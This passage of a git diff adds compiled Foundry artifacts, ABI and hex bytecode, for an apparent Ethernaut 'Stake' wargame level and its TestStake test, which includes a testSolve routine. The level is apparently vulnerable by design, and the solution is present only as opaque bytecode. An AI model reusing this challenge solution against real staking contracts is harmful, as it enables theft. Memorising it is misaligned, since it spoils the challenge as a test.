acb1991ae\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054\",\"dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.23+commit.f704f362"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_weth","type":"address"}],"stateMutability":"payable","type":"constructor"},{"inputs":[],"stateMutability":"payable","type":"function","name":"StakeETH"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"StakeWETH","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"Stakers","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"Unstake","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"UserStake","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Stake.sol":"Stake"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Stake.sol":{"keccak256":"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3acb1991ae","urls":["bzz-raw://cbafa128dad40f6abf0894fba48f2e077e18319dd1c8ae3e03108647c32ab054","dweb:/ipfs/QmSMJocEaXHnWar4fNScDB95XtwqfoQXniP2LCEFrjRZ7F"],"license":"MIT"}},"version":1},"id":109}
\ No newline at end of file
diff --git a/contracts/out/Stake.t.sol/TestStake.json b/contracts/out/Stake.t.sol/TestStake.json
new file mode 100644
index 000000000..57c89e611
--- /dev/null
+++ b/contracts/out/Stake.t.sol/TestStake.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50617993806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001dc7565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001e0a565b620001b3620001fa36600462001ef6565b62000a32565b6200020a62000bfd565b604051620001c7919062001fc9565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c791906200208c565b620001da6200025736600462002159565b62000eff565b6200019a62001076565b6200027162001461565b604051620001c7919062002171565b620001b362000291366004620021d7565b62001536565b6200023762001655565b620002b8620002b2366004620021f5565b6200174f565b6040519015158152602001620001c7565b62000271620018df565b6200019a620019b4565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001a4d565b620001da62001b21565b6200019a6200032f36600462002159565b62001b81565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762002231565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002231565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001536565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001d69565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620009769190810190620022d2565b9050806001825162000989919062002462565b815181106200099c576200099c62002231565b60200260200101515f0151600281518110620009bc57620009bc62002231565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb919081019062002478565b90505f81848560405160200162000ad4929190620024ca565b60408051601f198184030181529082905262000af4929160200162002578565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b58908590600401620025aa565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c919081019062002478565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001bf590919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c9290620025be565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc090620025be565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001e58565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b838110156200106f575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb9190620025f8565b60405163c88a5e6d60e01b81526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001020575f80fd5b505af115801562001033573d5f803e3d5ffd5b50505050808383815181106200104d576200104d62002231565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b60235460405163c88a5e6d60e01b81526001600160a01b039091166004820152670de0b6b3a76400006024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b158015620010db575f80fd5b505af1158015620010ee573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562001149575f80fd5b505af11580156200115c573d5f803e3d5ffd5b505050505f6040516200116f9062001d77565b604051809103905ff08015801562001189573d5f803e3d5ffd5b506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063d018db3e9066038d7ea4c68002906024015f604051808303818588803b158015620011f3575f80fd5b505af115801562001206573d5f803e3d5ffd5b50505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200125d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620012839190620025f8565b6021546040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f19602482015291925082169063095ea7b3906044016020604051808303815f875af1158015620012ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001315919062002616565b506021546040517f6e35c74000000000000000000000000000000000000000000000000000000000815266038d7ea4c6800160048201526001600160a01b0390911690636e35c740906024016020604051808303815f875af11580156200137e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620013a4919062002616565b506021546040517ff1f1db1e00000000000000000000000000000000000000000000000000000000815266038d7ea4c6800160048201526001600160a01b039091169063f1f1db1e906024016020604051808303815f875af11580156200140d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001433919062002616565b506020546021546200145d9162001457916001600160a01b0391821691166200174f565b62001c97565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620014a490620025be565b80601f0160208091040260200160405190810160405280929190818152602001828054620014d290620025be565b8015620015215780601f10620014f75761010080835404028352916020019162001521565b820191905f5260205f20905b8154815290600101906020018083116200150357829003601f168201915b50505050508152602001906001019062001484565b5f80604051620015469062001d85565b604051809103905ff08015801562001560573d5f803e3d5ffd5b5090505f604051620015729062001d93565b604051809103905ff0801580156200158c573d5f803e3d5ffd5b5084836040516200159d9062001da1565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620015d7573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001636575f80fd5b505af115801562001649573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200173657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620016e25790505b5050505050815250508152602001906001019062001678565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620017ab575f80fd5b505af1158015620017be573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200181c575f80fd5b505af11580156200182f573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001893573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620018bc9190810190620022d2565b9050600181511115620018d4576001915050620018d9565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200192290620025be565b80601f01602080910402602001604051908101604052809291908181526020018280546200195090620025be565b80156200199f5780601f1062001975576101008083540402835291602001916200199f565b820191905f5260205f20905b8154815290600101906020018083116200198157829003601f168201915b50505050508152602001906001019062001902565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001a0b575f80fd5b505af115801562001a1e573d5f803e3d5ffd5b505060205460215462001a4b935062001a4592506001600160a01b0391821691166200174f565b62001d16565b565b6008545f9060ff161562001a65575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001af4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001b1a919062002637565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001b8e82436200264f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001c4c908690869060040162002665565b5f60405180830381865afa15801562001c67573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001c90919081019062002696565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001cfc575f80fd5b505afa15801562001d0f573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ce5565b611a7080620026cd83390190565b610118806200413d83390190565b610ae5806200425583390190565b611e7a8062004d3a83390190565b610daa8062006bb483390190565b6001600160a01b038116811462001dc4575f80fd5b50565b5f805f6060848603121562001dda575f80fd5b833562001de78162001daf565b9250602084013562001df98162001daf565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001e4c5783516001600160a01b03168352928401929184019160010162001e25565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001e925762001e9262001e58565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001ec45762001ec462001e58565b604052919050565b5f67ffffffffffffffff82111562001ee85762001ee862001e58565b50601f01601f191660200190565b5f6020828403121562001f07575f80fd5b813567ffffffffffffffff81111562001f1e575f80fd5b8201601f8101841362001f2f575f80fd5b803562001f4662001f408262001ecc565b62001e98565b81815285602083850101111562001f5b575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001f9457818101518382015260200162001f7a565b50505f910152565b5f815180845262001fb581602086016020860162001f78565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200207d57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200206657605f198885030183526200205384865162001f9c565b948d01949350918c019160010162002034565b505050968901969350509087019060010162001fee565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b838110156200214b57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620021355783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a0190620020f1565b50968901969450505090860190600101620020b3565b509098975050505050505050565b5f602082840312156200216a575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b82811015620021ca57603f19888603018452620021b785835162001f9c565b9450928501929085019060010162002198565b5092979650505050505050565b5f60208284031215620021e8575f80fd5b813562001c908162001daf565b5f806040838503121562002207575f80fd5b8235620022148162001daf565b91506020830135620022268162001daf565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002261576200226162001e58565b5060051b60200190565b5f6200227b62001f408462001ecc565b90508281528383830111156200228f575f80fd5b62001c9083602083018462001f78565b5f82601f830112620022af575f80fd5b62001c90838351602085016200226b565b8051620022cd8162001daf565b919050565b5f6020808385031215620022e4575f80fd5b825167ffffffffffffffff80821115620022fc575f80fd5b818501915085601f83011262002310575f80fd5b81516200232162001f408262002245565b81815260059190911b8301840190848101908883111562002340575f80fd5b8585015b8381101562002441578051858111156200235c575f80fd5b86016060818c03601f1901121562002372575f80fd5b6200237c62001e6c565b88820151878111156200238d575f80fd5b8201603f81018d136200239e575f80fd5b89810151620023b162001f408262002245565b81815260059190911b8201604001908b8101908f831115620023d1575f80fd5b6040840193505b82841015620023f35783518252928c0192908c0190620023d8565b84525050506040820151878111156200240a575f80fd5b6200241a8d8b838601016200229f565b8a830152506200242d60608301620022c0565b604082015284525091860191860162002344565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620018d957620018d96200244e565b5f6020828403121562002489575f80fd5b815167ffffffffffffffff811115620024a0575f80fd5b8201601f81018413620024b1575f80fd5b620024c2848251602084016200226b565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200250381600585016020880162001f78565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200254281600a84016020880162001f78565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200258b81846020880162001f78565b835190830190620025a181836020880162001f78565b01949350505050565b602081525f62001c90602083018462001f9c565b600181811c90821680620025d357607f821691505b602082108103620025f257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002609575f80fd5b815162001c908162001daf565b5f6020828403121562002627575f80fd5b8151801515811462001c90575f80fd5b5f6020828403121562002648575f80fd5b5051919050565b80820180821115620018d957620018d96200244e565b604081525f62002679604083018562001f9c565b82810360208401526200268d818562001f9c565b95945050505050565b5f60208284031215620026a7575f80fd5b815167ffffffffffffffff811115620026be575f80fd5b620024c2848285016200229f56fe6080604052604051610010906100f0565b604080825260099082015268088eadadaf2ae8aa8960bb1b606082015260806020820181905260059082015264088ae8aa8960db1b60a082015260c001604051809103905ff080158015610066573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b0392909216919091179055348015610092575f80fd5b5061009c336100a1565b6100fd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610c3880610e3883390190565b610d2e8061010a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461047d565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461049f565b61016a565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461047d565b610307565b61011461039c565b61011d5f6103f5565b565b6001546040515f916001600160a01b03169061013a9061045c565b6001600160a01b039091168152602001604051809103905ff080158015610163573d5f803e3d5ffd5b5092915050565b5f826001600160a01b03811631158015906101ed5750836001600160a01b031631816001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101eb91906104d6565b115b801561027757506040517f7b2333190000000000000000000000000000000000000000000000000000000081526001600160a01b038481166004830152821690637b23331990602401602060405180830381865afa158015610251573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061027591906104d6565b155b80156102ff57506040517fede85eb70000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015282169063ede85eb790602401602060405180830381865afa1580156102db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ff91906104ed565b949350505050565b6